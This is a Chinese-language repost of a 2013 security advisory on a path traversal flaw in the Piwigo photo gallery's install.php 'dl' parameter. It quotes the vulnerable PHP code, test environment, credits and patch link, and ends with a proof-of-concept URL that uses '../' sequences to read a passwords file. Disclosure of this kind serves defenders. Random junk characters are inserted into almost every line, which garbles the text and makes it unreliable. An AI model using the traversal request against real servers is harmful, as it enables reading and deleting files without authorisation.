Piwigo是用PHP编写的相册脚本。1 H; F& Z; @0 ?6 o# _+ A
7 \1 X0 @5 T3 b# q! cPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。, A) f2 J" M9 ^. M6 P( U
====================================================================
# u- i' J" E6 u/ C! j/install.php:
4 {) U5 m, ?: J5 j, v0 j-------------4 M& Q2 O. a u; H6 W8 p4 m
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
! P6 N! Y2 k2 C. e114: {
8 x4 f% r& K$ o5 u- N115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];5 D) k5 u% E: F8 }
116: header('Cache-Control: no-cache, must-revalidate');$ D" z- A9 ~0 P: C
117: header('Pragma: no-cache');
8 f6 F" W0 y2 ~2 m: ?0 g. F5 J118: header('Content-Disposition: attachment; filename="database.inc.php"');2 f! o V8 n, g1 k' _
119: header('Content-Transfer-Encoding: binary');; F( s( H$ o, g& N' F. x4 e2 B- ~
120: header('Content-Length: '.filesize($filename));+ [5 {1 N( B+ ~3 W7 l
121: echo file_get_contents($filename);
0 }1 q; Y# y+ I! k$ T2 v2 W122: unlink($filename);
3 A8 y( k1 ~0 u& r- Z5 j123: exit();% C5 V6 [+ B6 k: Y) o
124: }" i' `3 ^, i5 Z5 z9 \9 U5 X- l
====================================================================
. L. b2 R/ d) d6 v. M, x ; d2 w( h- F4 E* U6 F+ \9 ]2 R. q* R
Tested on: Microsoft Windows 7 Ultimate SP1 (EN). E, y D' H" B8 Q
Apache 2.4.2 (Win32); G& o2 W7 g; W
PHP 5.4.4
3 B8 O' t5 O& C5 `- Q+ T5 f# F' e MySQL 5.5.25a
" M" g4 M$ y# ~3 [* A# [! `/ W+ }
3 c4 Y2 p6 Q7 u+ b. u- IVulnerability discovered by Gjoko 'LiquidWorm' Krstic
: D2 h. I3 L( r5 G* V/ k @zeroscience' b/ D ]2 I I9 M: x
. e" M) m" N) j2 L( o
Advisory ID: ZSL-2013-5127" c3 @. c, s" F" k* H; _) d! \
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php T6 i! t3 @- @" T/ K
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
( J7 }) @7 [( R1 K( W2 ]+ k# _ : e0 K' H" F3 N: {& \, O9 W' }) p3 F
15.02.2013$ g6 y. t3 ?6 }5 m7 s% q
* h2 n) I. C/ _
--2 P) H$ c5 c7 U! M9 M) D+ k* K
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
4 M7 i% w' B3 \, ] + z P4 L0 G6 n# ]' V( N! ^
|